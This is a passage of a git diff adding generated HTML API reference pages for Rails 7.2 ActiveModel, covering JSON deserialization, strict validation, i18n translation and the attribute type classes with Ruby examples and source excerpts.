+  attr_accessor :name, :age, :awesome
+
+  def attributes=(hash)
+    hash.each do |key, value|
+      send("#{key}=", value)
+    end
+  end
+
+  def attributes
+    instance_values
+  end
+end
+
+json = { name: 'bob', age: 22, awesome:true }.to_json
+person = Person.new
+person.from_json(json) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+person.name            # => "bob"
+person.age             # => 22
+person.awesome         # => true
+
+ +

The default value for include_root is false. You can change it to true if the given JSON string includes a single root node.

+ +
json = { person: { name: 'bob', age: 22, awesome:true } }.to_json
+person = Person.new
+person.from_json(json, true) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+person.name                  # => "bob"
+person.age                   # => 22
+person.awesome               # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/serializers/json.rb, line 146
+      def from_json(json, include_root = include_root_in_json)
+        hash = ActiveSupport::JSON.decode(json)
+        hash = hash.values.first if include_root
+        self.attributes = hash
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/StrictValidationFailed.html b/src/7.2/classes/ActiveModel/StrictValidationFailed.html new file mode 100644 index 0000000000..338479ab74 --- /dev/null +++ b/src/7.2/classes/ActiveModel/StrictValidationFailed.html @@ -0,0 +1,82 @@ +--- +title: ActiveModel::StrictValidationFailed +layout: default +--- +
+ +
+
+ +
+ +

Active Model StrictValidationFailed

+ +

Raised when a validation cannot be corrected by end users and are considered exceptional.

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+
+  validates_presence_of :name, strict: true
+end
+
+person = Person.new
+person.name = nil
+person.valid?
+# => ActiveModel::StrictValidationFailed: Name can't be blank
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Translation.html b/src/7.2/classes/ActiveModel/Translation.html new file mode 100644 index 0000000000..cc4b2dcd44 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Translation.html @@ -0,0 +1,240 @@ +--- +title: ActiveModel::Translation +layout: default +--- +
+ +
+
+ +
+ +

Active Model Translation

+ +

Provides integration between your object and the Rails internationalization (i18n) framework.

+ +

A minimal implementation could be:

+ +
class TranslatedPerson
+  extend ActiveModel::Translation
+end
+
+TranslatedPerson.human_attribute_name('my_attribute')
+# => "My attribute"
+
+ +

This also provides the required class methods for hooking into the Rails internationalization API, including being able to define a class-based i18n_scope and lookup_ancestors to find translations in parent classes.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + human_attribute_name(attribute, options = {}) + +

+ + +
+

Transforms attribute names into a more human format, such as β€œFirst name” instead of β€œfirst_name”.

+ +
Person.human_attribute_name("first_name") # => "First name"
+
+ +

Specify options with additional translating options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/translation.rb, line 46
+    def human_attribute_name(attribute, options = {})
+      attribute = attribute.to_s
+
+      if attribute.include?(".")
+        namespace, _, attribute = attribute.rpartition(".")
+        namespace.tr!(".", "/")
+
+        defaults = lookup_ancestors.map do |klass|
+          :"#{i18n_scope}.attributes.#{klass.model_name.i18n_key}/#{namespace}.#{attribute}"
+        end
+        defaults << :"#{i18n_scope}.attributes.#{namespace}.#{attribute}"
+      else
+        defaults = lookup_ancestors.map do |klass|
+          :"#{i18n_scope}.attributes.#{klass.model_name.i18n_key}.#{attribute}"
+        end
+      end
+
+      defaults << :"attributes.#{attribute}"
+      defaults << options[:default] if options[:default]
+      defaults << MISSING_TRANSLATION
+
+      translation = I18n.translate(defaults.shift, count: 1, **options, default: defaults)
+      translation = attribute.humanize if translation == MISSING_TRANSLATION
+      translation
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + i18n_scope() + +

+ + +
+

Returns the i18n_scope for the class. Override if you want custom lookup.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/translation.rb, line 26
+    def i18n_scope
+      :activemodel
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lookup_ancestors() + +

+ + +
+

When localizing a string, it goes through the lookup returned by this method, which is used in ActiveModel::Name#human, ActiveModel::Errors#full_messages and ActiveModel::Translation#human_attribute_name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/translation.rb, line 34
+    def lookup_ancestors
+      ancestors.select { |x| x.respond_to?(:model_name) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type.html b/src/7.2/classes/ActiveModel/Type.html new file mode 100644 index 0000000000..d2790bc55b --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type.html @@ -0,0 +1,193 @@ +--- +title: ActiveModel::Type +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + register(type_name, klass = nil, &block) + +

+ + +
+

Add a new type to the registry, allowing it to be referenced as a symbol by attribute.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type.rb, line 30
+      def register(type_name, klass = nil, &block)
+        registry.register(type_name, klass, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/BigInteger.html b/src/7.2/classes/ActiveModel/Type/BigInteger.html new file mode 100644 index 0000000000..18c909ea32 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/BigInteger.html @@ -0,0 +1,82 @@ +--- +title: ActiveRecord::Type::BigInteger +layout: default +--- +
+ +
+
+ +
+ +

Active Model BigInteger Type

+ +

Attribute type for integers that can be serialized to an unlimited number of bytes. This type is registered under the :big_integer key.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :id, :big_integer
+end
+
+person = Person.new
+person.id = "18_000_000_000"
+
+person.id # => 18000000000
+
+ +

All casting and serialization are performed in the same way as the standard ActiveModel::Type::Integer type.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Binary.html b/src/7.2/classes/ActiveModel/Type/Binary.html new file mode 100644 index 0000000000..59cb4e7194 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Binary.html @@ -0,0 +1,287 @@ +--- +title: ActiveRecord::Type::Binary +layout: default +--- +
+ +
+
+ +
+ +

Active Model Binary Type

+ +

Attribute type for representation of binary data. This type is registered under the :binary key.

+ +

Non-string values are coerced to strings using their to_s method.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + binary?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/binary.rb, line 16
+      def binary?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cast(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/binary.rb, line 20
+      def cast(value)
+        if value.is_a?(Data)
+          value.to_s
+        else
+          value = super
+          value = value.b if ::String === value && value.encoding != Encoding::BINARY
+          value
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed_in_place?(raw_old_value, value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/binary.rb, line 35
+      def changed_in_place?(raw_old_value, value)
+        old_value = deserialize(raw_old_value)
+        old_value != value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/binary.rb, line 30
+      def serialize(value)
+        return if value.nil?
+        Data.new(super)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/binary.rb, line 12
+      def type
+        :binary
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Boolean.html b/src/7.2/classes/ActiveModel/Type/Boolean.html new file mode 100644 index 0000000000..60aba12768 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Boolean.html @@ -0,0 +1,99 @@ +--- +title: ActiveRecord::Type::Boolean +layout: default +--- +
+ +
+
+ +
+ +

Active Model Boolean Type

+ +

A class that behaves like a boolean type, including rules for coercion of user input.

+
  • +

    "false", "f", "0", 0 or any other value in FALSE_VALUES will be coerced to false.

    +
  • +

    Empty strings are coerced to nil.

    +
  • +

    All other values will be coerced to true.

    +
+ +
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + +
FALSE_VALUES=[ +false, 0, +"0", :"0", +"f", :f, +"F", :F, +"false", :false, +"FALSE", :FALSE, +"off", :off, +"OFF", :OFF, +].to_set.freeze
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Date.html b/src/7.2/classes/ActiveModel/Type/Date.html new file mode 100644 index 0000000000..b6f3a603d5 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Date.html @@ -0,0 +1,198 @@ +--- +title: ActiveModel::Type::Date +layout: default +--- +
+ +
+
+ +
+ +

Active Model Date Type

+ +

Attribute type for date representation. It is registered under the :date key.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :birthday, :date
+end
+
+person = Person.new
+person.birthday = "1989-07-13"
+
+person.birthday.class # => Date
+person.birthday.year  # => 1989
+person.birthday.month # => 7
+person.birthday.day   # => 13
+
+ +

String values are parsed using the ISO 8601 date format. Any other values are cast using their to_date method, if it exists.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
ISO_DATE=/\A(\d{4})-(\d\d)-(\d\d)\z/
+ + + + + + + +

Instance Public methods

+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/date.rb, line 30
+      def type
+        :date
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type_cast_for_schema(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/date.rb, line 34
+      def type_cast_for_schema(value)
+        value.to_fs(:db).inspect
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/DateTime.html b/src/7.2/classes/ActiveModel/Type/DateTime.html new file mode 100644 index 0000000000..4d1097c77e --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/DateTime.html @@ -0,0 +1,171 @@ +--- +title: ActiveModel::Type::DateTime +layout: default +--- +
+ +
+
+ +
+ +

Active Model DateTime Type

+ +

Attribute type to represent dates and times. It is registered under the :datetime key.

+ +
class Event
+  include ActiveModel::Attributes
+
+  attribute :start, :datetime
+end
+
+event = Event.new
+event.start = "Wed, 04 Sep 2013 03:00:00 EAT"
+
+event.start.class # => Time
+event.start.year  # => 2013
+event.start.month # => 9
+event.start.day   # => 4
+event.start.hour  # => 3
+event.start.min   # => 0
+event.start.sec   # => 0
+event.start.zone  # => "EAT"
+
+ +

String values are parsed using the ISO 8601 datetime format. Partial time-only formats are also accepted.

+ +
event.start = "06:07:08+09:00"
+event.start.utc # => 1999-12-31 21:07:08 UTC
+
+ +

The degree of sub-second precision can be customized when declaring an attribute:

+ +
class Event
+  include ActiveModel::Attributes
+
+  attribute :start, :datetime, precision: 4
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/date_time.rb, line 49
+      def type
+        :datetime
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Decimal.html b/src/7.2/classes/ActiveModel/Type/Decimal.html new file mode 100644 index 0000000000..a6d7c130b0 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Decimal.html @@ -0,0 +1,214 @@ +--- +title: ActiveRecord::Type::Decimal +layout: default +--- +
+ +
+
+ +
+ +

Active Model Decimal Type

+ +

Attribute type for decimal, high-precision floating point numeric representation. It is registered under the :decimal key.

+ +
class BagOfCoffee
+  include ActiveModel::Attributes
+
+  attribute :weight, :decimal
+end
+
+ +

Numeric instances are converted to BigDecimal instances. Any other objects are cast using their to_d method, except for blank strings, which are cast to nil. If a to_d method is not defined, the object is converted to a string using to_s, which is then cast using to_d.

+ +
bag = BagOfCoffee.new
+
+bag.weight = 0.01
+bag.weight # => 0.1e-1
+
+bag.weight = "0.01"
+bag.weight # => 0.1e-1
+
+bag.weight = ""
+bag.weight # => nil
+
+bag.weight = :arbitrary
+bag.weight # => nil (the result of `.to_s.to_d`)
+
+ +

Decimal precision defaults to 18, and can be customized when declaring an attribute:

+ +
class BagOfCoffee
+  include ActiveModel::Attributes
+
+  attribute :weight, :decimal, precision: 24
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
BIGDECIMAL_PRECISION=18
+ + + + + + + +

Instance Public methods

+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/decimal.rb, line 49
+      def type
+        :decimal
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type_cast_for_schema(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/decimal.rb, line 53
+      def type_cast_for_schema(value)
+        value.to_s.inspect
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Float.html b/src/7.2/classes/ActiveModel/Type/Float.html new file mode 100644 index 0000000000..f0796ce076 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Float.html @@ -0,0 +1,199 @@ +--- +title: ActiveRecord::Type::Float +layout: default +--- +
+ +
+
+ +
+ +

Active Model Float Type

+ +

Attribute type for floating point numeric values. It is registered under the :float key.

+ +
class BagOfCoffee
+  include ActiveModel::Attributes
+
+  attribute :weight, :float
+end
+
+ +

Values are cast using their to_f method, except for the following strings:

+
  • +

    Blank strings are cast to nil.

    +
  • +

    "Infinity" is cast to Float::INFINITY.

    +
  • +

    "-Infinity" is cast to -Float::INFINITY.

    +
  • +

    "NaN" is cast to Float::NAN.

    + +

    bag = BagOfCoffee.new

    + +

    bag.weight = β€œ0.25” bag.weight # => 0.25

    + +

    bag.weight = β€œβ€ bag.weight # => nil

    + +

    bag.weight = β€œNaN” bag.weight # => Float::NAN

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/float.rb, line 39
+      def type
+        :float
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type_cast_for_schema(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/float.rb, line 43
+      def type_cast_for_schema(value)
+        return "::Float::NAN" if value.try(:nan?)
+        case value
+        when ::Float::INFINITY then "::Float::INFINITY"
+        when -::Float::INFINITY then "-::Float::INFINITY"
+        else super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Helpers.html b/src/7.2/classes/ActiveModel/Type/Helpers.html new file mode 100644 index 0000000000..b6d3d663c7 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Helpers.html @@ -0,0 +1,88 @@ +--- +title: ActiveModel::Type::Helpers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Helpers/AcceptsMultiparameterTime.html b/src/7.2/classes/ActiveModel/Type/Helpers/AcceptsMultiparameterTime.html new file mode 100644 index 0000000000..7be8fc0eae --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Helpers/AcceptsMultiparameterTime.html @@ -0,0 +1,73 @@ +--- +title: ActiveModel::Type::Helpers::AcceptsMultiparameterTime +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Helpers/AcceptsMultiparameterTime/InstanceMethods.html b/src/7.2/classes/ActiveModel/Type/Helpers/AcceptsMultiparameterTime/InstanceMethods.html new file mode 100644 index 0000000000..a760134b92 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Helpers/AcceptsMultiparameterTime/InstanceMethods.html @@ -0,0 +1,54 @@ +--- +title: ActiveModel::Type::Helpers::AcceptsMultiparameterTime::InstanceMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Helpers/Mutable.html b/src/7.2/classes/ActiveModel/Type/Helpers/Mutable.html new file mode 100644 index 0000000000..721757fb68 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Helpers/Mutable.html @@ -0,0 +1,54 @@ +--- +title: ActiveModel::Type::Helpers::Mutable +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Helpers/Numeric.html b/src/7.2/classes/ActiveModel/Type/Helpers/Numeric.html new file mode 100644 index 0000000000..f796a4be0c --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Helpers/Numeric.html @@ -0,0 +1,54 @@ +--- +title: ActiveModel::Type::Helpers::Numeric +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Helpers/TimeValue.html b/src/7.2/classes/ActiveModel/Type/Helpers/TimeValue.html new file mode 100644 index 0000000000..0b86f3f0f0 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Helpers/TimeValue.html @@ -0,0 +1,54 @@ +--- +title: ActiveModel::Type::Helpers::TimeValue +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Helpers/Timezone.html b/src/7.2/classes/ActiveModel/Type/Helpers/Timezone.html new file mode 100644 index 0000000000..b7a06ef5d5 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Helpers/Timezone.html @@ -0,0 +1,54 @@ +--- +title: ActiveModel::Type::Helpers::Timezone +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/ImmutableString.html b/src/7.2/classes/ActiveModel/Type/ImmutableString.html new file mode 100644 index 0000000000..c193dadeae --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/ImmutableString.html @@ -0,0 +1,230 @@ +--- +title: ActiveRecord::Type::ImmutableString +layout: default +--- +
+ +
+
+ +
+ +

Active Model ImmutableString Type

+ +

Attribute type to represent immutable strings. It casts incoming values to frozen strings.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :name, :immutable_string
+end
+
+person = Person.new
+person.name = 1
+
+person.name # => "1"
+person.name.frozen? # => true
+
+ +

Values are coerced to strings using their to_s method. Boolean values are treated differently, however: true will be cast to "t" and false will be cast to "f". These strings can be customized when declaring an attribute:

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :active, :immutable_string, true: "aye", false: "nay"
+end
+
+person = Person.new
+person.active = true
+
+person.active # => "aye"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(**args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/immutable_string.rb, line 38
+      def initialize(**args)
+        @true  = -(args.delete(:true)&.to_s  || "t")
+        @false = -(args.delete(:false)&.to_s || "f")
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + serialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/immutable_string.rb, line 48
+      def serialize(value)
+        case value
+        when ::Numeric, ::Symbol, ActiveSupport::Duration then value.to_s
+        when true then @true
+        when false then @false
+        else super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/immutable_string.rb, line 44
+      def type
+        :string
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Integer.html b/src/7.2/classes/ActiveModel/Type/Integer.html new file mode 100644 index 0000000000..03b3da5929 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Integer.html @@ -0,0 +1,345 @@ +--- +title: ActiveRecord::Type::Integer +layout: default +--- +
+ +
+
+ +
+ +

Active Model Integer Type

+ +

Attribute type for integer representation. This type is registered under the :integer key.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :age, :integer
+end
+
+ +

Values are cast using their to_i method, except for blank strings, which are cast to nil. If a to_i method is not defined or raises an error, the value will be cast to nil.

+ +
person = Person.new
+
+person.age = "18"
+person.age # => 18
+
+person.age = ""
+person.age # => nil
+
+person.age = :not_an_integer
+person.age # => nil (because Symbol does not define #to_i)
+
+ +

Serialization also works under the same principle. Non-numeric strings are serialized as nil, for example.

+ +

Serialization also validates that the integer can be stored using a limited number of bytes. If it cannot, an ActiveModel::RangeError will be raised. The default limit is 4 bytes, and can be customized when declaring an attribute:

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :age, :integer, limit: 6
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
DEFAULT_LIMIT=4
 

Column storage size in bytes. 4 bytes means an integer as opposed to smallint etc.

+ + + + + + +

Class Public methods

+ +
+

+ + new(**) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/integer.rb, line 51
+      def initialize(**)
+        super
+        @range = min_value...max_value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + deserialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/integer.rb, line 60
+      def deserialize(value)
+        return if value.blank?
+        value.to_i
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serializable?(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/integer.rb, line 74
+      def serializable?(value)
+        cast_value = cast(value)
+        in_range?(cast_value) || begin
+          yield cast_value if block_given?
+          false
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/integer.rb, line 65
+      def serialize(value)
+        return if value.is_a?(::String) && non_numeric_string?(value)
+        ensure_in_range(super)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/integer.rb, line 56
+      def type
+        :integer
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/SerializeCastValue.html b/src/7.2/classes/ActiveModel/Type/SerializeCastValue.html new file mode 100644 index 0000000000..6c86da3bcf --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/SerializeCastValue.html @@ -0,0 +1,69 @@ +--- +title: ActiveModel::Type::SerializeCastValue +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/SerializeCastValue/ClassMethods.html b/src/7.2/classes/ActiveModel/Type/SerializeCastValue/ClassMethods.html new file mode 100644 index 0000000000..2e37df7adc --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/SerializeCastValue/ClassMethods.html @@ -0,0 +1,102 @@ +--- +title: ActiveModel::Type::SerializeCastValue::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + serialize_cast_value_compatible?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/serialize_cast_value.rb, line 9
+        def serialize_cast_value_compatible?
+          return @serialize_cast_value_compatible if defined?(@serialize_cast_value_compatible)
+          @serialize_cast_value_compatible = ancestors.index(instance_method(:serialize_cast_value).owner) <= ancestors.index(instance_method(:serialize).owner)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/SerializeCastValue/DefaultImplementation.html b/src/7.2/classes/ActiveModel/Type/SerializeCastValue/DefaultImplementation.html new file mode 100644 index 0000000000..e26811093b --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/SerializeCastValue/DefaultImplementation.html @@ -0,0 +1,101 @@ +--- +title: ActiveModel::Type::SerializeCastValue::DefaultImplementation +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + serialize_cast_value(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/serialize_cast_value.rb, line 16
+        def serialize_cast_value(value)
+          value
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/String.html b/src/7.2/classes/ActiveModel/Type/String.html new file mode 100644 index 0000000000..3b954abe7a --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/String.html @@ -0,0 +1,164 @@ +--- +title: ActiveRecord::Type::String +layout: default +--- +
+ +
+
+ +
+ +

Active Model String Type

+ +

Attribute type for strings. It is registered under the :string key.

+ +

This class is a specialization of ActiveModel::Type::ImmutableString. It performs coercion in the same way, and can be configured in the same way. However, it accounts for mutable strings, so dirty tracking can properly check if a string has changed.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + changed_in_place?(raw_old_value, new_value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/string.rb, line 16
+      def changed_in_place?(raw_old_value, new_value)
+        if new_value.is_a?(::String)
+          raw_old_value != new_value
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_immutable_string() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/string.rb, line 22
+      def to_immutable_string
+        ImmutableString.new(
+          true: @true,
+          false: @false,
+          limit: limit,
+          precision: precision,
+          scale: scale,
+        )
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Time.html b/src/7.2/classes/ActiveModel/Type/Time.html new file mode 100644 index 0000000000..f47737e661 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Time.html @@ -0,0 +1,222 @@ +--- +title: ActiveModel::Type::Time +layout: default +--- +
+ +
+
+ +
+ +

Active Model Time Type

+ +

Attribute type for time of day representation. It is registered under the :time key.

+ +
class Event
+  include ActiveModel::Attributes
+
+  attribute :start, :time
+end
+
+ +

String values are parsed using the ISO 8601 datetime format, but are normalized to have a date of 2000-01-01 and be in the UTC time zone.

+ +
event = Event.new
+event.start = "2004-10-25T01:23:45-06:00"
+
+event.start.class # => Time
+event.start       # => 2000-01-01 07:23:45 UTC
+
+ +

Partial time-only formats are also accepted.

+ +
event.start = "00:01:02+03:00"
+event.start # => 1999-12-31 21:01:02 UTC
+
+ +

The degree of sub-second precision can be customized when declaring an attribute:

+ +
class Event
+  include ActiveModel::Attributes
+
+  attribute :start, :time, precision: 4
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/time.rb, line 45
+      def type
+        :time
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + user_input_in_time_zone(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/time.rb, line 49
+      def user_input_in_time_zone(value)
+        return unless value.present?
+
+        case value
+        when ::String
+          value = "2000-01-01 #{value}"
+          time_hash = begin
+            ::Date._parse(value)
+          rescue ArgumentError
+          end
+
